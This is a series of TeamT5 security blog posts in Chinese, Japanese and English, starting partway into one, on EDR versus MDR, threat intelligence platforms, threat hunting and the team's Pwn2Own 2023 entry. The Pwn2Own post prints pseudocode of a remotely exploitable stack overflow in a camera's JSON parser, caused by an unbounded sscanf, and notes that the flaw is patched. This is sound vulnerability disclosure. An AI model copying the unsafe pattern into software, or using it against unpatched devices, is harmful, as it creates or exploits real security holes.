- **定義**：EDR 指的是端點安全解決方案，主要協助企業檢測、識別和回應可能的威脅，特別是端點裝置（如：桌電、筆電）可能遭遇的威脅——勒索軟體、進階持續性攻擊（APT）等。

- **功能**：EDR 解決方案通常提供即時監控、log 收集、威脅檢測和分析功能；以具備豐富資訊的畫面，協助企業快速追蹤端點上的異常活動，並對潛在威脅做出快速回應。

- **用途**：主要用於檢測和對抗端點上的威脅，通常需要企業內部團隊自行管理和操作，達到資安防護的目標。

 

## MDR（Managed Detection and Response）服務

- **定義**：MDR 是一種代管服務，企業外包、委託資安廠商，協助企業識別、分析和應對威脅。

- **功能**：MDR 服務通常包括 24/7 監控、事件分析、威脅狩獵和威脅應變。這些服務可以幫助組織快速應對威脅，而無需自己擁有或操作端點安全相關的解決方案。

- **用途**：企業使用此服務，可受益於專業資安廠商的知識和技術，更減輕維持內部資安團隊的工作負擔。

 

## 結論
兩者主要差異為—— EDR 是一種技術解決方案，而 MDR 是一種外包代管服務。EDR 通常需要企業自行管理、運用解決方案，雖具備更多自主空間，但也需要投入大量資金與時間；MDR 則將企業進行威脅偵測和應變的步驟，交給外部專業人員。

企業可以根據其需求和資源分布，選擇適合的解決方案。

TeamT5 杜浦數位安全同時提供 EDR 解決方案「[ThreatSonar Anti-ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)」，及 [MDR 服務](https://teamt5.org/tw/service/mdr/?utm_source=blogs&utm_medium=website)。我們的團隊成員具備超過 20 年的資安威脅調查、分析的經驗，已協助政府、金融業、科技業、製造業等廣大客戶，達成資安防禦目標。

 
 

>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)


 
 
*首圖來源: Unsplash

EDR、MDR 關鍵差異比較

サイバー脅威があふれる今日のデジタル時代において、データと資産の保護に効果的な脅威インテリジェンスは、企業にとって需要の高い存在です。脅威インテリジェンスプラットフォームは、企業が脅威を特定、分析、対応するのに役立つ脅威インテリジェンスを提供します。しかし、選択・導入するにあたり、企業は次の重要なポイントを把握し、慎重に考慮する必要があります。

###1. 脅威リソースの多様性
優れた脅威インテリジェンスプラットフォームは、悪意のあるプログラムのサンプル、リモート攻撃の特徴、悪意のある脅威の指標(IOC)など、詳細かつ具体的な脅威インテリジェンスを提供する必要があります。


###2. 即時性と正確性
組織が迅速に脅威を特定し対応するために、脅威インテリジェンスは迅速かつ高精度である必要があります。タイムリーで最新かつ信頼性の高いインテリジェンスを提供するサプライヤーは重要な要素となります。

###3. カスタマイズ機能
優れた脅威インテリジェンスプラットフォームは、企業特有のニーズを満たすカスタマイズ機能(アラートの設定、フォーカスする脅威の種類の選択、既存のセキュリティインフラへの統合など)を備えていることが大前提です。

###4. 統合
脅威インテリジェンスプラットフォームは、SIEM（Security Information and Event Management）システムやEDR（Endpoint Detection and Response）ソリューションなど、企業の既存のセキュリティエコシステムにシームレスに統合できる必要があります。これにより、全体的なセキュリティを向上させることができます。


###5. 報告と分析
プラットフォームは、組織が脅威インテリジェンスの性質と影響を理解できるように、詳細なレポートおよび分析ツールを提供する必要があります。 これにより、企業はセキュリティポリシーを適応させ、対応能力を向上させることができます。


###6. セキュリティとコンプライアンス
プラットフォームは、データの暗号化、アクセス制御、コンプライアンス機能などの適切なセキュリティ対策を備え、規制要件を遵守しながら、機密性の高い脅威インテリジェンスを確実に保護する必要があります。

##結論

脅威インテリジェンスプラットフォームの選択と導入は、企業のセキュリティ戦略において重要な役割を果たします。企業は、選択したプラットフォームが高品質で多様な脅威インテリジェンスを提供し、全体的なセキュリティの向上に役立つよう、上記を慎重に検討する必要があります。脅威インテリジェンスは企業のサイバーセキュリティにとって重要であるため、注意深く熟慮する必要があり、時間とリソースを投資する価値があります。


脅威インテリジェンスプラットフォームであるThreatVisionは、極東アジアの悪意のあるグループに関した、最も包括的で詳細なデータベースを提供します。脅威インテリジェンスレポートは、豊富で詳細な内容を完備したナラティブ形式と段落で表示され、脅威イベントを迅速に理解し、対しよするためのより効果的なヒントを得ることに役立ちます。また、読みやすいので、サイバーセキュリティチームのレポート作成能力を向上させ、チーム間でのコミュニケーション効率も高めます。

「彼を知り己を知れば百戦殆からず」
これはサイバーセキュリティが普及した現代にも通ずる言葉です。

貴社のサイバー防御を最適化する方法について詳しく知りたい場合は、ぜひお問い合わせください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)





脅威インテリジェンスプラットフォーム：導入における主な考慮事項

In today's threat-filled digital age, enterprises need effective threat intelligence to protect their data and assets. The threat intelligence platform provides critical threat intelligence to help enterprises identify, analyze and respond to threats. However, when selecting and purchasing a threat intelligence platform, enterprises need to carefully consider the following key factors.

### 1. Diversity of threat resources
An excellent threat intelligence platform should provide in-depth and specific threat intelligence, including malicious program samples, remote attack characteristics, malicious threat indicators (indicator of compromise), etc.

### 2. Immediacy and accuracy
Threat intelligence should be immediate and highly accurate to ensure organizations can quickly identify and respond to threats. Suppliers providing timely, updated and reliable intelligence are key factors.

### 3. Customization capabilities
A good threat intelligence platform should have customizable features to meet the specific needs of the enterprise. This includes the ability to set alerts, select the types of threats to focus on, and integrate into existing security infrastructure.

### 4. Integration
The threat intelligence platform should be able to be seamlessly integrated into the enterprise's existing security ecosystem, including SIEM (Security Information and Event Management) systems, EDR (Endpoint Detection and Response) solutions, etc. This helps improve overall security.

### 5. Reporting and Analysis
Platforms should provide detailed reporting and analysis tools to help organizations understand the nature and impact of threat intelligence. This can help businesses adapt their security policies and improve their response capabilities.

### 6. Security and Compliance
Platforms should have appropriate security measures, including data encryption, access control and compliance capabilities, to ensure sensitive threat intelligence is protected while complying with regulatory requirements.

 
 

## Conclusion

Selecting and sourcing a threat intelligence platform is an important part of an enterprise's security strategy. Enterprises should carefully consider the above factors to ensure that the platform they choose provides high-quality, diverse threat intelligence and helps improve overall security. Threat intelligence is key to enterprise cybersecurity, so it’s a thoughtful decision worth investing time and resources into.

The threat intelligence platform, ThreatVision, provides the most comprehensive and in-depth database of adversaries in the Asia-Pacific region. Its threat intelligence reports are presented in narrative form and paragraphs, with rich and complete details, which help you quickly understand threat events and absorb more effective threat event handling tips. The readability also improves your cybersecurity team's ability to report upwards and effectiveness when communicating across teams.

>Know the enemy and know yourself; in a hundred battles you will never be in peril. Threat intelligence gives enterprises this exact ability to defend cyber threats.
 
>Contact us to learn how your enterprises can optimize your security defense.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Threat Intelligence Platform (TIP) : Key Considerations for Procurement

在當今充滿威脅的數位時代，企業需要有效的威脅情資來保護其數據和資產。威脅情資平台提供了關鍵的威脅情資，幫助企業識別、分析和應對威脅。然而，在挑選和採購威脅情資平台時，企業需要謹慎考慮以下關鍵因素。

### 1. 威脅資源多樣性
一個優秀的威脅情資平台應該提供深度、具體的威脅情資，包括惡意程式樣本、遠端攻擊特徵、惡意威脅指標（indicator of compromise, IOC）等

### 2. 即時性和準確度
威脅情資應該是即時的且高度準確，以確保企業能夠迅速識別和應對威脅。供應商提供及時更新和可靠的情資是關鍵因素。

### 3. 自選設定
一個好的威脅情資平台應該具有自選設定功能，以滿足企業的特定需求。這包括能夠設定警報、選擇關注的威脅類型，以及整合到現有安全基礎設施中。

### 4. 整合性
威脅情資平台應該能夠無縫整合到企業的現有安全生態系統中，包括SIEM（Security Information and Event Management）系統、EDR（Endpoint Detection and Response）解決方案等。這有助於提高整體安全性。

### 5. 報告和分析
平台應提供詳細的報告和分析工具，以幫助企業了解威脅情資的性質和影響。這可以幫助企業調整其安全策略並改進應對能力。

### 6. 安全性和合規性
平台應該具有適當的安全措施，包括數據加密、訪問控制和合規性功能，以確保敏感的威脅情資受到保護，同時符合法規要求。

## 結論

挑選和採購威脅情資平台是企業安全戰略中的重要一環。企業應該謹慎考慮上述因素，以確保所選擇的平台能夠提供高質量、多樣化的威脅情資，並有助於提高整體安全性。威脅情資是企業安全的關鍵，因此這是一個需要深思熟慮的決策，值得投資時間和資源。

ThreatVision 威脅情資平台提供了最完整且深入的亞太區域惡意族群資料庫。威脅情資報告以敘事形式、段落式呈現，細節豐富完整，有助您快速了解威脅事件，吸收更多有效的威脅事件處理經驗，並且易讀性也可提高您的資安團隊在向上報告和跨團隊溝通時的效率。

 

>知己知彼，百戰不殆。在資安的道路上，TeamT5 是您最佳的夥伴。
>
>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
>
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)

*首圖來源: Pexels

威脅情資平台（TIP）評估與採購重點

## What is Pwn2own

Pwn2Own is a renowned hacking competition that focuses on discovering and exploiting vulnerabilities in various software and operating systems. The event provides a platform for cybersecurity researchers and ethical hackers to showcase their skills by attempting to compromise the security of popular software and devices. Organized by the Zero Day Initiative (ZDI), a program from Trend Micro, Pwn2Own has gained prominence for its role in identifying and addressing critical security flaws.

During the competition, participants target a range of software applications, web browsers, operating systems, and other digital platforms. Successful exploitation of a vulnerability typically involves the execution of arbitrary code or the bypassing of security mechanisms. Contestants who successfully compromise a system are awarded cash prizes and may also receive the device they exploited.

Pwn2Own plays a crucial role in improving cybersecurity by incentivizing the discovery and responsible disclosure of security vulnerabilities. The competition not only fosters a competitive spirit among security researchers but also encourages software developers and vendors to enhance the robustness of their products. The insights gained from Pwn2Own contribute to the overall improvement of digital security, making it a significant event in the cybersecurity community.

## The first trial of attempting Pwn2Own

![1_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg](https://uploads.teamt5.org/upload/original/1_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg)

Since this is more of a test trial for us, and we've been investing a lot of effort in the IoT field lately, we've instinctively selected some targets from the SOHO Smash-up list: one from the Initial Stage and another from the Final Stage. The devices in the Initial Stage are all routers, likely exposed to the Internet for some reason. As for devices in the Final Stage are just regular everyday devices like IP Cameras, NAS, and Printers, etc. Additionally, you'll earn bonus points if you can leverage your exploit to compromise targets all the way from Initial to Final, hence the name.

After selecting our targets, we began evaluating potential attack surfaces. It's worth mentioning that in Pwn2Own, besides the conventional approach of compromising devices directly from the external network (WAN) to gain control, they also entertain the idea of Man-in-the-Middle (MitM) attacks. In other words, if you can find a way for the device to interact with you—say, if the device regularly requests a specific DNS domain or supports a discovery protocol allowing attackers to impersonate a client and interact with it—those approaches are fair game. Alternatively, discussing common device configurations and usage patterns with the organizers is also on the table.

Before the official competition kicks off, there's an online draw organized by the officials to let everyone know when their exploits will be tested. We get a chance to see others' testing schedules and target devices. When you notice someone testing the same target as you, thoughts like, 'Are we going to collide?' or 'If there's no collision, what exploit are they using?' start creeping in. Of course, it's essential to sign an NDA and submit the final whitepaper and vulnerability proof of concept (PoC) a few days before the actual competition.

A few days before the official testing begins, we receive an official communication from Pwn2Own. The email confirms the final test versions for each target device and provides us with the Teams link and guidelines for the upcoming session. On the day of testing, the organizers reach out to ensure we've checked relevant settings on the devices, installed necessary libraries for our exploit, and confirmed language versions. They reiterate the rules for exploit testing: we have three attempting opportunities, each execution must not exceed ten minutes, and the total duration for all three attempts must stay within thirty minutes.

After making sure all the settings are good to go, the organizers initiate the countdown and run the designated exploit script. Even though we've run countless tests in our local environment, the second the organizers launch the process, seeing the screen fill with logging lines brings a rush of tension. The excitement for that elusive root shell grows, making us ponder if it'll truly come to life.

Rahhhhhhhhhh ....!! Get Shell 🤩

![2_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg](https://uploads.teamt5.org/upload/original/2_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg)

 

Following successful exploitation, the organizers verify with us the root cause of the vulnerability and whether it matches any previously reported issues. If there's a collision in discoveries, the points earned are reduced, and correspondingly, the prize money decreases. With that, the competition concludes, and the final results can be checked on the organizer's X (Twitter) or official website.

![3_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg](https://uploads.teamt5.org/upload/original/3_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg)

## The vulnerability we found

A stack-based buffer overflow has been identified in `/lib/libjansson.so.4.7.0`, a JSON parsing library. This vulnerability stems from a modified JSON dictionary key parsing feature. The library is utilized in parsing configuration files and handling web requests.

The issue arises when encountering an object (JSON dictionary type) key. At this point, a call to `sscanf(key, "%s %s", v1, v2)` is executed. As both `v1` and `v2` are local stack array variables, the unrestricted `sscanf` operation leads to a stack-based buffer overflow when processing malicious JSON input.

Here's the pseudocode of the function containing the bug in `libjansson.so.4.7.0`:

```clike
json_t *parse_object(lex_t *lex, int flags, void *error)
{
 // Stack variables
 char v1[32];
 char v2[12];
 // ...
 char *key;
 json_t *json;
 // ...
 while ( 1 )
 {
 // ...
 if ( memchr(key, 0, len) )
 {
 jsonp_free(key);
 error_set(error, lex, "NUL byte in object key not supported");
 goto error_exit;
 }
 v2[0] = 0
 _isoc99_sscanf(key, "%s %s", v1, v2);
 // ...
 }
 // ...
error_exit:
 json_decref(json);
 return 0;
}
```

This vulnerability could be leveraged to achieve remote code execution with a crafted request to the device by an attacker. Furthermore, it has been addressed and fixed in the latest version, as indicated in the release notes of BC500. Therefore, we strongly recommend that you update your device as soon as possible for your own security

## Closing

This is our first time technically attempting the Pwn2Own contest. Essentially, everything is new to us, including how to sign up for the event, submit our findings along with reports to the organizers, and, of course, negotiating with the organizers or vendor about whether the vulnerabilities we submitted have been duplicated by other participants. 

Even though everything was new to us, diving into this challenge turned out to be quite intriguing. From the team spirit during the competition to the suspense when the organizers hit 'enter,' it all added to the excitement.

The organizers were really cool too. As we waited for the testing, they struck up some casual conversation with us, throwing questions like, "Can we expect some fancy logging as output?" or "How about outputs like memory leaks?" It was a simple chat, but it instantly took the edge off our nerves.

Our experience in the Pwn2Own competition was quite an adventure. Looking ahead to our next shot, we aim to come even more prepared, unveiling more 0-days, and, of course, some fancy logging for sure. Until the next Pwn2Own, catch you later!



## Reference

- https://www.zerodayinitiative.com/blog/2023/7/12/the-soho-smashup-returns-for-pwn2own-toronto-2023
- https://www.zerodayinitiative.com/Pwn2OwnToronto2023Rules.html
- https://www.synology.com/en-global/releaseNote/BC500

[TeamT5] Pwn2Own Contest Experience Sharing and Vulnerability Demonstration

## Pwn2own 競賽介紹

Pwn2Own 是一場富有盛名的資訊安全駭客競賽，主要目的是發現並利用各種軟體和作業系統中的漏洞，指出風險所在。這個活動為網路安全研究人員和道德駭客提供一個平台，透過試圖破解常見軟體和設備的安全性，來展現他們的技術能力。由趨勢科技（Trend Micro）下的組織 Zero Day Initiative（ZDI）主辦，Pwn2Own 也因為在發現和解決重大安全漏洞上的貢獻而受到關注。

在比賽期間，參與者針對各種軟體應用程式、Web瀏覽器、作業系統和其他平台進行攻擊，成功利用漏洞的狀況，通常包括執行任意程式碼或繞過安全機制。而成功攻破系統的參賽者將獲得現金獎勵，也可能免費得到他們攻破的設備。

Pwn2Own 透過獎勵機制，來鼓勵道德駭客發現並採取負責任揭露安全漏洞的方式，對改進網路安全扮演關鍵角色。這個競賽不僅培養安全研究人員之間的競爭精神，還鼓勵軟體開發人員和供應商提升其產品的穩健性。從競賽中所獲得的經驗與累積，亦有助於資訊安全的改善與發展，這也使其成為資訊安全社群必要關注的一個重大活動。

## Pwn2Own 初體驗

![1_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg](https://uploads.teamt5.org/upload/original/1_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg)

這次參賽對我們來說更像一次嘗試性的體驗，並由於我們最近的研究方向主要是在物聯網（IoT）領域，我們便從 SOHO Smash-up 標的中，憑直覺挑選了一些目標——Initial Stage 、Final Stage 各一個」。

Initial Stage 的設備都是路由器，很可能因某種原因暴露在 Internet 上；Final Stage 的設備只是一些普通的日常設備，如: IP Camera、NAS 和印表機等。此外，如果你能夠讓你的攻擊從 Inital Stage 打到 Final Stage 還會獲得額外的分數，這也是 SOHO Smash-up（徹底搗毀）這個名稱的由來。

挑選好目標之後，我們便開始評估可利用的攻擊面。這裡值得一提的是，Pwn2Own 除了接受一般我們認為的從外網（WAN）攻破設備本身取得權限外，他們也接受中間人攻擊（ Man in the Middle, MitM ）的方式，也就是說如果你有辦法讓設備跟你互動，例如：設備常態性請求某個 DNS 域名、設備本身支援某種發現協定使攻擊者可以偽造成 client 與其互動等，又或者基於該設備一般常見的使用設定，達到使用者與設備互動的狀態，也可以嘗試與主辦方討論，確認是否有達到漏洞利用的比賽目標。

在正式比賽之前，官方會先線上舉行抽籤，讓大家知道自己的漏洞利用執行程式（exploit）會在哪天被測試，我們能同時看到別人的測試時間與標的設備，當你注意到有人跟你測試一樣的目標時，心裡就會開始出現一些諸如: 「會不會撞洞?」、「沒有撞的話，他們是用甚麼漏洞打設備的?」 等念頭。

當然必不可少的，參賽者在正式比賽的前幾天，會需要簽署保密協定書（NDA） ，表示遵守漏洞發現原則，以負責任的方式通報設備供應商，待供應商修補漏洞後，參賽者再行公布漏洞細節，以免被惡意攻擊者濫用該漏洞，造成供應商客戶的損失；參賽者也須提前遞交最後的白皮書與漏洞概念驗證（PoC）。

*撞洞：已有他人先行發現特定漏洞，與我方發現的漏洞相同

在正式測試前幾天，會收到 Pwn2Own 官方來信，信中內容會確定各個標的設備之最終測試版本，與正式比賽期間，我們要用到的線上會議連結與注意事項。

到了測試當天，主辦方會請我們確認是否需要檢查設備的相關設定與漏洞利用 （exploit）所需要安裝的函式庫與所使用的語言版本等。主辦方並重申（exploit）測試的規則：共有三次測試機會；每次執行的時間不可以超過十分鐘；全部三次測試機會的總時長須在三十分鐘內。

待一切設定確定就緒，主辦方就會開始計時並執行指定的漏洞利用執行程式 （exploit），雖然我們已於本地環境測試了無數次，但在主辦方執行 exploit 的那一剎那，看著螢幕 logging 一行一行的出現，心裡還是不由自主的緊張了起來，心理期待的那個 root shell 到底會不會出現。

出現惹....!! 成功 get shell 🤩

![2_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg](https://uploads.teamt5.org/upload/original/2_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg)

*root shell：指取得設備或系統的管理者權限。在 Pwn2Own 比賽中，即為達成最終目標。

 

當漏洞利用 （exploit）成功之後，主辦方會與我們確認這個漏洞的大概成因、，是否與其他參賽隊伍回報的漏洞相同。如果與先前其他參賽隊伍提供的漏洞相同（撞洞），本次所得到的點數就會減少，獎金也會變少。

比賽至此告一段落了，相關結果並可在主辦方的 X（Twitter） 或是官網看到該次測試的結果。

![3_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg](https://uploads.teamt5.org/upload/original/3_teamt5-pwn2own-contest-experience-sharing-and-vulnerability-demonstration.jpg)

## 初試啼聲的第一個漏洞

我們在 BC500 使用的函式庫 `/lib/libjansson.so.4.7.0` 中找到了一個基於堆疊的緩衝區溢位。

這是一個解析 JSON 格式的函式庫，被用來解析存在於設定檔中或是網頁請求中的 JSON 資料。這個弱點發生在一個被修改過的 JSON 解析函式中，存在一個 `sscanf(key, "%s %s", v1, v2)`，其中 `v1` 與 `v2` 都是區域變數存於 stack 上，這個沒採取任何檢查措施的 `sscanf` 在處理惡意 JSON 資料的時，將會導致緩衝區溢位（buffer overflow）的發生。

下面是這個存在弱點函式的虛擬碼:

```clike
json_t *parse_object(lex_t *lex, int flags, void *error)
{
 // Stack variables
 char v1[32];
 char v2[12];
 // ...
 char *key;
 json_t *json;
 // ...
 while ( 1 )
 {
 // ...
 if ( memchr(key, 0, len) )
 {
 jsonp_free(key);
 error_set(error, lex, "NUL byte in object key not supported");
 goto error_exit;
 }
 v2[0] = 0
 _isoc99_sscanf(key, "%s %s", v1, v2);
 // ...
 }
 // ...
error_exit:
 json_decref(json);
 return 0;
}
```

這個弱點可以透過含有惡意構造 JSON 的網頁請求來達成遠端程式碼執行(Remode Code Execution, RCE) 進而控制裝置本身，根據[官方公告](https://www.synology.com/en-global/releaseNote/BC500)該問題已經被修復，我們建議有使用到該設備的用戶，盡快更新韌體。

## 結語

這是我們第一次參加 Pwn2Own 競賽，一切的流程與規則對我們來說相對陌生，包含如何報名、如何提交我們的報告與漏洞概念驗證（PoC）給主辦方，及與主辦方或廠商溝通是否撞洞等。

儘管如此，從與團隊一起競賽的感覺，到主辦方按下 enter 瞬間的緊張感等，這次的嘗試體驗著實有趣。

主辦方人也很好，當與我們等待測試的同時，跟我們閒聊了一下： 「等等我們會預期看到甚麼花俏（fancy）的 logging 畫面嗎？或是記憶體洩漏（memory leak）之類的輸出呢？」，不起眼的閒聊頓時讓我們的緊張感釋放不少。

期待我們下一次參與Pwn2Own 比賽，我們會準備得更充足，帶來更多的零時差漏洞（0-Day Vulnerability），當然還有花俏（fancy）的 logging 畫面。

我們下次 Pwn2Own 見!

## 參考

- https://www.zerodayinitiative.com/blog/2023/7/12/the-soho-smashup-returns-for-pwn2own-toronto-2023
- https://www.zerodayinitiative.com/Pwn2OwnToronto2023Rules.html

【TeamT5 杜浦數位安全】Pwn2Own 參賽心得分享及漏洞展示

サイバーセキュリティの領域において、企業は常に変化し続けるサイバーセキュリティ脅威に直面しており、重要な機密データが危険にさらされ、業務運営の混乱を招く可能性があります。 これらの課題に対処するために、セキュリティ専門家はさまざまな戦略を採用しており、その 1 つが脅威ハンティングです。

 

## 脅威ハンティングの定義
脅威ハンティングとは、従来のセキュリティ対策を潜り抜ける可能性のある、潜在的な脅威を特定し、無力化するように設計されたプロアクティブなセキュリティ戦略です。 事前に作成された動作モデルに依存する従来のセキュリティ手法とは異なり、脅威ハンティングでは、企業ネットワークを積極的に検索し、脅威の指標を探します。

 

## 脅威ハンティングによるアクティブディフェンスの応用で、先手を打つ
従来のサイバーセキュリティ対策は不可欠ではありますが、通常はネットワーク攻撃を検出してから反撃する、という比較的受動的なプロセスです。 一方、脅威ハンティングは、潜在的な脅威が本格的な攻撃を開始する前に、その兆候を積極的に検知します。

脅威ハンティングも「ゼロトラスト」セキュリティ概念の一部です。つまり、ネットワークシステム環境が侵害されたと仮定した場合、企業は率先して定期的にセキュリティ状況を確認する必要があります。そうすることで、侵入の疑いが検出された場合、リアルタイムで効果的に緩和することができ、セキュリティ問題が拡大することはありません。

脅威ハンティング戦略には、エンドポイントに隠れた脅威を発見するために、高度なツールと手法の組み合わせ、そして豊富な実務経験を持つセキュリティ専門家が必要です。

 

## 脅威ハンティングの鍵
### データ行動分析

脅威ハンティングは、ログ、ネットワークトラフィック、その他の有用な情報ソースなど、企業ネットワーク上のプログラムの動作によって生成された大量のデータを徹底的に分析することから始まります。

実際のハンティング プロセスでは、脅威ハンティングの専門家が独自のツールを使用し、ツールに内蔵された行動分析機能を使用して正常な行動パターンと異常な行動パターンを特定します。これにより、さらに深くに潜伏するサイバー脅威の発見が容易になります。

### 脅威インテリジェンス

脅威ハンティングの専門家が使用するツールは、正確な脅威ハンティングを実施し、進化し続けるセキュリティ脅威の一歩先を行くために、最新の攻撃手法、攻撃の背景、その他情報などの、企業に最も関連のある最新の脅威情報に基づいている必要があります。 

 

## 企業のセキュリティにおける脅威ハンティングの重要性
### 時間差の短縮

脅威ハンティングとは、脅威を積極的に発見して解決することで、企業は「ハッカーの侵入」と「脅威による実際の損失」までの時間差を大幅に短縮し、運用上の損失を回避することができます。

### サイバーセキュリティインシデントへの対応強化

脅威ハンティングは、企業が攻撃の初期段階で脅威を特定してブロックするのに役立ち、セキュリティインシデントへの対応能力を強化し、潜在的な損害を最小限に抑えることができます。

### 最新のセキュリティ脅威への効果的な対処

絶えず変化し続けるサイバーセキュリティ環境において、企業は脅威ハンティングを利用することで、従来のサイバーセキュリティ対策やツールでは検出できない、新たなセキュリティ脅威に迅速に対応できます。

 

## 結論
脅威ハンティングは、セキュリティを強化するためのプロアクティブなアプローチです。 潜在的な脅威を積極的に探すことで、企業は防御を強化し、ハッカーの行動の一歩先を行くことができます。

TeamT5の脅威ハンティングツールThreatSonarは、独自の「メモリフォレンジック」技術を搭載しており、合法なプログラムに偽装した不正プログラムを正規プログラムに注入する攻撃者の攻撃手法を特定し、悪意のあるプログラムの中継局を見つけることが可能なので、さらなる脅威の侵入をブロックできます。

ThreatSonarが搭載している最先端の脅威ハンティング技術は、以下の潜在的な脅威を特定・発見し、企業のセキュリティ耐性を強化します：
- 実行済みのプログラム、実行予定のプログラム(Executed/Autorun programs threat hunting)
- メモリに隠された悪意のあるプログラムの検出と特定（メモリフォレンジック）
- 攻撃者のハッキングツール
- 疑わしいアーティファクト（攻撃後ホストに残された記録など）
- Living Off The Land Binaries And Scripts (LOLBAS)
- サイバーハイジーン

サイバーセキュリティ環境が変化し続ける中、企業の包括的なサイバーセキュリティ戦略に脅威ハンティングを組み込むことの重要性が高まっており、重要なビジネスの機密データを保護して事業運営の堅牢性を維持し、サイバーセキュリティの強靭性を確立するのに役立ちます。

> もっと詳しく知る : [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)

脅威ハンティングとは?

In the field of cybersecurity, enterprises are facing ever-changing cybersecurity threats that may compromise important data and disrupt business operations. To address these challenges, security professionals employ various strategies, one of which is threat hunting.

##Definition of Threat Hunting 
Threat hunting is a proactive cybersecurity strategy designed to identify and neutralize potential threats that may evade traditional security measures. Unlike traditional cybersecurity practices that rely on pre-established behavioral models, threat hunting involves proactively searching corporate networks for threat indicators.

##Threat Hunting Uses the Concept of Active Defense to Defeat the Enemy in Advance

Although traditional cybersecurity measures are indispensable, they usually first detect network attacks and then respond and counterattack, which is a relatively passive process. Threat hunting proactively looks for signs of potential threats before they develop into a full-scale attack.

Threat hunting is also part of the "zero trust" security concept. That is, assuming that the network system environment has been invaded, enterprise organizations should proactively confirm the security status on a regular basis. Once a suspected intrusion is discovered, it can be immediately and effectively mitigated to prevent the spread and extension. becomes a bigger cybersecurity issue.

Threat hunting strategies require security professionals with rich practical experience, coupled with advanced tools and methods, to uncover threats hidden on endpoints.

##Key Benefits to Threat Hunting
#### Data analysis

Threat hunting begins with in-depth analysis of large amounts of data generated by program behavior on corporate networks, including logs, network traffic, and other sources of helpful information.

During the actual hunting process, threat hunting experts use proprietary tools and use the tool's built-in behavioral analysis function to identify normal and abnormal activity patterns, which helps to discover possible deeper and latent cybersecurity threats.


####Behavior analysis

Threat hunting experts use proprietary tools to identify normal and abnormal activity patterns with built-in behavioral analysis capabilities, which can help uncover potentially deeper, latent cybersecurity threats.

#### Threat intelligence

The tools used by threat hunting experts need to be based on the latest threat information that is most relevant to the enterprise in order to conduct accurate threat hunting and stay ahead of the ever-evolving security threats. This includes the latest attack techniques, attack context and other information.


##The Importance of Threat Hunting to Enterprise Security
#### Reduce time difference

Threat hunting is by proactively finding and resolving threats. Enterprises can significantly reduce the time difference between "hacker invasion" and "actual losses caused by threats" and avoid operational losses.

#### Strengthen response to cybersecurity incidents

Threat hunting helps enterprises identify and block threats in the early stages of an intrusion, strengthens the enterprise's ability to respond to security incidents, and minimizes potential damage.

#### Effectively deal with the latest security threats

In an ever-changing cybersecurity environment, threat hunting enables enterprises to quickly respond to emerging cybersecurity threats that may not be detected by traditional cybersecurity measures and tools.

##Conclusion
Threat hunting is a proactive approach to security enhancement. By proactively looking for potential threats, enterprises can strengthen their defenses and stay ahead of hackers. . And stay ahead of hackers.

TeamT5's threat hunting tool ThreatSonar has a unique "memory forensics'' technology that can identify the attacker's attack method of injecting malicious programs into legitimate programs by using the legal to disguise the illegal, and find the relay station of the malicious program. Block further threat intrusions.

ThreatSonar's leading threat hunting technology can identify and uncover the following potential threats to help enterprises strengthen their security resilience:
- Programs that have been executed and will be executed (Executed/Autorun programs threat hunting)
- Detect and identify malicious programs hidden in memory (Memory forensics)
- Hacktools for attackers
- Suspicious artifacts (records left on the host after the attack)
- Living Off The Land Binaries And Scripts (LOLBAS)
- Cyber hygiene


 
 
As the cybersecurity environment continues to change, it has become increasingly important to incorporate threat hunting into an enterprise's comprehensive cybersecurity strategy. It helps protect important business sensitive data, maintains the robustness of business operations, and establishes cybersecurity resilience.
 
 
 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/

 
 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay

What is Threat Hunting?

在資安領域中，企業面臨著不斷變化的資安威脅，這些威脅可能危及重要的機敏資料數據並干擾商務運作。為了應對這些挑戰，資安專業人員採用了各種策略，其中之一即為威脅狩獵（threat hunting）。

##威脅狩獵的定義
威脅狩獵是一種主動的資安策略，旨在識別並化解可能繞過逃避傳統資訊安全措施的潛在威脅。與依賴預先建立行為模型的的傳統資安做法不同，威脅狩獵涉及主動搜尋企業網路中的威脅指標。


##威脅狩獵運用主動防禦的概念，制敵機先
傳統的資安措施雖然必不可少，但通常該類措施是先偵查到網路攻擊，再進行回應與反制，過程較為被動。威脅狩獵則通過主動尋找潛在的威脅跡象，防止其發展成全面的攻擊。

威脅狩獵更是「零信任」資安概念的一環，亦即假設網路系統環境已經遭受入侵，企業組織應定期主動確認資安狀況，一旦發現疑似入侵事件，能即時有效緩解，不致擴散延伸成更大的資安問題。

